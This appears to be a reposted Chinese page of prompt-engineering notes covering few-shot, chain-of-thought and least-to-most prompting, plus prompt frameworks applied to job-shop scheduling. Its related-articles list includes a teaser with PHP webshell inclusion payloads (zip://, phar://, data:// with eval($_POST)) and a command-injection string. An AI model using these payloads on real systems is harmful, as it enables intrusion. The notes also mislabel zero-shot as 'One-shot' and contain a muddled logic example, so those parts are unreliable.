Prompt工程記錄

Prompt基本建議:

1.在查詢中包含詳細信息以獲得更相關的答案

總結會議筆記:先將會議筆記總結為一段,然后寫一份演講者的打分表,列出他們的每個要點;最后列出發言者建議的下一步行動或者行動項目(如果有的話)

2.讓模型扮演一個角色

3.使用分隔符清楚的指示輸入的不同部分

總結以下文本:1234

總結由三個引號分割的文本

"""12342132131"""

4.指定完成任務所需任務

5.提供示例

6.指定所需的輸出長度

提示工程

Few-shot

大多數情況下我們寫的Prompt一般稱為One-shot(零樣本)通常依賴模型已經學到的知識

Few-shot 少量樣本教導模型使用非常少量的訓練數據來識別新對象

示例的作用有時超過千言萬語

Few-shot并不復雜,只需要將一些類似的問題和答案作為提示的一部分輸入即可

示例:

  • 例題 1:“如果 3 個蘋果售價 6 元,那么 5 個蘋果多少錢?” → 解答:6÷3×5=10 元
  • 例題 2:“4 支鉛筆 8 元,買 7 支需要多少錢?” → 解答:8÷4×7=14 元
    待解問題:“2 個筆記本 10 元,買 6 個筆記本要花多少錢?” → 模型應輸出 “10÷2×6=30 元”

通過思維鏈提示法提升模型推理能力?

核心:通過在輸入序列中精心設計一系列有序的,邏輯相連的提示或者問題,促使AI模型不僅關注當前任務的直接需求,還能追溯并整合過往信息,形成一條條邏輯清晰的思維軌跡。

充分利用思維鏈提示法的關鍵是:設計高度結構化且具有引導性的提示序列,要求設計者深刻理解目標問題的內在邏輯,布局問題框架,鋪設從簡單導復雜的思考路徑。

動態調整提示策略,根據模型反饋靈活修正思維鏈的方向和深度,也是優化中的重要環節。

最基礎的思維鏈:在輸入末尾加上“let's think step by step" 稱為 Zero-shot-CoT

Few-shot-CoT

通過編寫思維鏈樣本作為提示,讓模型學會思維鏈的推導方式

示例:

輸入文本:
“請解決下面的數學問題,解題時請先寫出詳細的推理步驟,再給出答案。
示例 1:
問題:小明有 5 顆糖,媽媽又買了 7 顆,分給同學 3 顆,還剩幾顆?
推理:
小明原本有 5 顆糖,媽媽買了 7 顆后,現在有 5+7=12 顆。
分給同學 3 顆后,剩下的數量是 12-3=9 顆。
答案:9示例 2:
問題:一個書架有 4 層,每層放 6 本書,借出去 10 本,還剩多少本?
推理:
書架每層 6 本,4 層一共有 4×6=24 本書。
借出去 10 本后,剩下 24-10=14 本。
答案:14現在請解決:
問題:3 個小朋友每人有 4 個氣球,不小心飛走了 5 個,還剩多少個氣球?
請先推理,再給出答案。”
  1. 思維鏈要 “接地氣”:模仿人類自然推理的口語化表達(如 “首先”“然后”“因為… 所以…”),避免過于簡潔或抽象。
  2. 示例數量適中:2-5 個示例效果最佳(太少則模型學不會推理模式,太多則可能稀釋重點)。
  3. 明確提示 “先推理后答案”:在最后一個問題前強調 “請先寫出推理步驟,再給出答案”,防止模型跳過思維鏈。
  4. 答案格式統一:示例中答案的標注方式要一致(如均用 “答案:XXX”“最終答案:XXX”),方便模型對齊輸出。
  5. 復雜問題利用此方法準確率依然不夠好

?

Least-to-Most Promoting?

通過人工編的思維鏈提示樣本可能并不能很好的遷移到其他問題中:泛化能力不夠

Google提出兩階段進行的方法

1:自上而下的分解問題

2:自下而上的依次解決問題

LtM的核心不僅在于引導模型拆分問題,還要將子問題的問題和答案回傳給子模型,理論上,整個過程會有三次調用大模型的過程:

  1. 原始問題 提問 拆分為子問題
  2. 子問題 提問 獲得子問題回答
  3. 原始問題 子問題加答案 獲得原始問題回答
主問題:A、B、C、D 四人排隊,A 不在第一個,B 在 C 的前面,D 在 A 的后面,第一個人是誰?
Least-to-Most 提示過程:
子問題 1:根據 “B 在 C 的前面”,可能的位置順序有哪些(只考慮 B 和 C)?
推理:B 必須在 C 左邊,可能的順序是 B→C(中間可隔人)。
答案:B 在 C 前,如 BXXXC、BX CX、BCXX 等子問題 2:結合 “A 不在第一個”,A 可能的位置是?
推理:總共有 4 個位置(1 到 4),A 不能在 1,所以可能在 2、3、4。
答案:A 在 2、3 或 4 位子問題 3:結合 “D 在 A 的后面”,A 和 D 的位置關系是?
推理:D 必須在 A 右邊,即若 A 在 2,D 可在 3/4;A 在 3,D 在 4;A 在 4,D 無位置(排除)。
答案:A 在 2→D 在 3/4;A 在 3→D 在 4主問題(整合子問題):第一個人是誰?
推理:
由子問題 1:B 在 C 前,所以 C 不能在 1;
由子問題 2:A 不能在 1;
由子問題 3:D 在 A 后,若 D 在 1,則 A 需在 D 前(不可能),故 D 不能在 1;
剩下只能是 B 在 1。
答案:B

提示框架

BROKE:背景,角色,目標,關鍵結果,改進

COAST:上下文,目標,行動,場景,任務

ROSES:角色,目標,場景,解決方案,步驟

1. BROKE 框架

背景
動態Job Shop Scheduling Problem(JSP)涉及在生產過程中處理作業和機器之間的調度問題。隨著任務和作業的動態變化,如何在不確定性中實現高效調度成為一個挑戰。現代算法,如遺傳算法、啟發式算法和強化學習,能夠有效應對這一挑戰。

角色

  • 調度系統(負責優化任務分配)

  • 生產經理(決策和目標設定)

  • 作業和機器(受調度影響的對象)

目標
開發一個靈活的調度算法,能夠根據動態輸入(如作業到達、機器故障、生產任務變更等)自動調整和優化調度計劃,以最大化生產效率和減少延誤。

關鍵結果

  • 提高調度的實時響應能力,能快速處理動態變化

  • 降低作業的延誤時間和機器的空閑時間

  • 提升整體生產效率和成本效益

改進

  • 探索基于強化學習的調度優化策略,以應對復雜的動態變化

  • 考慮多目標優化,兼顧生產效率、資源使用和任務完成時間

2. COAST 框架

上下文
在動態JSP環境中,生產過程中可能出現作業需求的突然變化,機器故障或突發事件,這些都要求調度算法能夠快速響應。傳統的靜態調度方法無法適應這種動態變化,需要新的調度方法來優化決策。

目標
優化動態環境下的作業調度,提高生產效率和機器利用率,減少作業的等待時間,并最大化按時交貨率。

行動

  • 設計并實現一個動態調度算法,能夠實時調整調度計劃

  • 將遺傳算法與啟發式算法結合,以處理動態作業調度的挑戰

  • 利用機器學習模型預測可能的作業需求和機器狀態變化,從而提前做出調度決策

場景

  • 制造業車間,多個作業和機器同時運行

  • 每個作業有多個工序,需要依賴不同的機器執行

  • 作業到達時間和任務要求是動態變化的

任務

  • 實時監控和響應車間中作業和機器的狀態變化

  • 動態調整調度方案,確保盡可能減少生產瓶頸和延誤

  • 進行在線優化,考慮時間窗約束、優先級和機器能力限制等多種因素

3. ROSES 框架

角色

  • 調度系統:負責管理和優化作業調度

  • 生產管理人員:通過調度系統獲取生產狀態反饋,并做出決策

  • 作業任務:需按特定順序和資源約束完成

  • 機器設備:提供資源來完成作業操作

目標
實現一個能夠適應動態變化(如作業到達、機器故障)的調度系統,并在保持高效生產的同時,減少因這些變化導致的延誤和資源浪費。

場景
在一個現代化生產車間中,多個作業和多個機器同時運行。作業到達時間、工序執行時間和機器狀態是動態的,可能在執行過程中出現故障或優先級變化。

解決方案

  • 設計一個動態調度系統,利用進化算法(如遺傳算法)處理動態變化的作業調度問題

  • 結合智能預測技術(如機器學習)預測未來可能的生產瓶頸,并根據預測調整調度策略

  • 動態調度不僅考慮作業的完成時間,還考慮機器的利用率、設備的維護狀態和作業的優先級

步驟

  1. 建立一個系統模型,描述作業、機器、任務等對象的關系

  2. 實現一個動態調度框架,支持實時數據輸入和調度調整

  3. 設計和實施遺傳算法或其他進化算法,作為調度優化策略

  4. 集成機器學習模型來預測系統的動態變化并優化調度

  5. 在實際環境中進行測試和調整,確保系統能有效應對突發事件和需求變化

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91653.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91653.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91653.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CTE公用表表達式的可讀性與性能優化

一、可讀性優化CTE通過WITH子句定義臨時命名結果集,將復雜查詢分解為邏輯獨立的模塊,顯著提升代碼清晰度與可維護性?:?解構嵌套查詢?:將多層嵌套的子查詢扁平化,例如傳統嵌套統計訂單的查詢可重構為分步CTE&#xf…

8.1.2 TiDB存儲引擎的原理

TiDB 簡介 TiDB 是 PingCAP 公司自主設計、研發的開源分布式關系型數據 庫,是一款同時支持在線事務處理與在線分析處理 (Hybrid Transactional and Analytical Processing, HTAP) 的融合型分布 式數據庫產品,具備水平擴容或者縮容、金融級高可用、實時 …

PTE之路--01

空格繞過:/**/ URL編碼偽協議:pagezip://xxx/xx/x/x/xxx.jpg%23解壓后的名字pagephar://xxx/xx/x/x/xxx.jpg/解壓后的名字pageddata://ata://text/plain,<?php eval($_POST[x]) ;?>pagedata://text/plain,<?php eval($_POST[x]) ;?>127.0.0.1 | grep . ../key…

企業級日志分析系統ELK

1.什么是 Elastic Stack 如果系統和應用出現異常和問題,相關的開發和運維人員想要排查原因,就要先登錄到應用運行所相應的主機,找到上面的相關日志文件再進行查找和分析,所以非常不方便,此外還會涉及到權限和安全問題,而ELK 的出現就很好的解決這一問題。 ELK 是由一家 …

ai項目多智能體

手把手教你構建一個 本地化的&#xff0c;免費的&#xff0c;企業級的&#xff0c;AI大模型知識庫問答系統 - 網旭哈瑞.AI 體驗 AutoGen Studio - 微軟推出的友好多智能體協作框架_autogenstudio-CSDN博客 AutoGen Studio: Interactively Explore Multi-Agent Workflows | Au…

【HTML】淺談 script 標簽的 defer 和 async

The async and defer attributes are boolean attributes that indicate how the script should be evaluated. There are several possible modes that can be selected using these attributes, depending on the script’s type. async 和 defer 屬性是布爾屬性&#xff0c;…

Kafka Streams 并行處理機制深度解析:任務(Task)與流線程(Stream Threads)的協同設計

在構建實時流處理應用時&#xff0c;如何充分利用計算資源同時保證處理效率是一個關鍵問題。Kafka Streams 通過其獨特的任務(Task)和流線程(Stream Threads)并行模型&#xff0c;為開發者提供了既簡單又強大的并行處理能力。本文將深入解析 Kafka Streams 中任務與線程的協同工…

使用 Docker 部署 Label Studio 時本地文件無法顯示的排查與解決

目錄 使用 Docker 部署 Label Studio 時本地文件無法顯示的排查與解決 1. 背景 2. 問題現象 3. 排查步驟 3.1 確認文件是否存在 3.2 檢查環境變量配置 4. 解決方案 方法一&#xff1a;修改 Sync Storage 路徑&#xff08;相對路徑&#xff09; 方法二&#xff1a;修改…

ElasticJob怎么使用?

我們使用ElasticJob需要以下步驟&#xff1a; 1. 添加依賴 2. 配置任務&#xff08;可以使用Spring命名空間配置或Java配置&#xff09; 3. 實現任務邏輯&#xff08;實現SimpleJob、DataflowJob等接口&#xff09; 4. 啟動任務 下面是一個詳細的示例&#xff0c;包括Spring Bo…

TCP協議的特點和首部格式

文章目錄TCP協議是什么&#xff1f;TCP協議的主要特點1. 面向連接2. 可靠傳輸3. 流量控制4. 擁塞控制TCP首部格式源端口和目標端口&#xff08;各16位&#xff09;序列號&#xff08;32位&#xff09;確認號&#xff08;32位&#xff09;數據偏移&#xff08;4位&#xff09;保…

IO流-文件的常用方法

1.關于java.io.File類- File類只能表示計算機中的文件或目錄而不能獲取或操作文件- 通過File類獲得到文件的基本信息&#xff0c;如文件名、大小等&#xff0c;但不能獲取文件內容- java中表示文件路徑分隔符使用"/"或"\\"- File類中的構造方法- File(&quo…

AUTOSAR進階圖解==>AUTOSAR_SRS_E2E

AUTOSAR E2E通信保護解析 AUTOSAR End-to-End通信保護機制詳解與應用目錄 概述 1.1. AUTOSAR E2E通信保護的作用 1.2. E2E通信保護的應用場景AUTOSAR E2E架構 2.1. E2E組件層次結構 2.2. E2E庫和E2E轉換器E2E監控狀態機 3.1. 狀態定義與轉換 3.2. 狀態機實現E2E保護數據交換流…

鏡像快速部署ollama+python+ai

算力租賃入口&#xff1a;https://www.jygpu.com為大家提供以上鏡像快速部署方式&#xff0c;節約大家環境部署時間一鍵部署的便捷性傳統自建GPU服務器需要經歷復雜的硬件采購、驅動安裝、環境配置等繁瑣步驟&#xff0c;而現代??GPU租賃價格對比??顯示&#xff0c;容器化平…

使用Gemini API開發領域智能聊天機器人的思路

以下是使用 Gemini API 開發軟件自動化測試專家領域專屬智能聊天機器人的詳細思路及具體實現過程&#xff1a; 階段一&#xff1a;基礎準備與規劃 (Foundation & Planning) 這個階段的目標是明確方向、準備好所有必要的工具和憑證。 步驟 1&#xff1a;明確聊天機器人的目…

第13屆藍橋杯Python青少組_省賽_中/高級組_2022年4月17日真題

更多內容請查看網站&#xff1a;【試卷中心 -----> 藍橋杯----> Python----> 省賽】 網站鏈接 青少年軟件編程歷年真題模擬題實時更新 第13屆藍橋杯Python青少組_省賽_中/高級組_2022年4月17日真題 一、選擇題 第 1 題 下列二進制數中最大的是&#xff08; &a…

sqli-labs:Less-17關卡詳細解析

1. 思路&#x1f680; 本關的SQL語句為&#xff1a; $sql"SELECT username, password FROM users WHERE username $uname LIMIT 0,1"; $update"UPDATE users SET password $passwd WHERE username$row1";注入類型&#xff1a;字符串型&#xff08;單引號…

文心一言:推動 AIGC 領域進步

文心一言:推動AIGC領域進步 關鍵詞:文心一言、AIGC、自然語言處理、多模態生成、大模型、技術架構、應用場景 摘要:本文深入剖析百度文心一言在AIGC(人工智能生成內容)領域的技術創新與實踐成果。通過解析其核心技術架構、多模態生成原理、工程化落地策略及行業應用案例,…

第15講——微分方程

文章目錄思維導圖基本概念微分方程及其階思維導圖 基本概念 微分方程及其階

RAGFlow Agent 知識檢索節點源碼解析:從粗排到精排的完整流程

RAGFlow Agent 知識檢索節點深度解析&#xff1a;從查詢到重排序的完整流程 1. 總體架構概覽 RAGFlow Agent 中的知識檢索&#xff08;Retrieval&#xff09;節點是整個RAG系統的核心組件&#xff0c;負責從知識庫中找到與用戶查詢最相關的文檔片段。檢索流程可以分為以下幾個…

Python算法實戰:從排序到B+樹全解析

Python中常見的算法示例 以下是Python中常見的算法示例,涵蓋基礎算法和經典問題解決方案,代碼可直接運行: 排序算法 冒泡排序 def bubble_sort(arr):n = len(arr)for i in range(n):for j in range(0, n-i-1):if arr[j] > arr[j+1]:arr[j], arr[j+1] = arr[j+1], arr…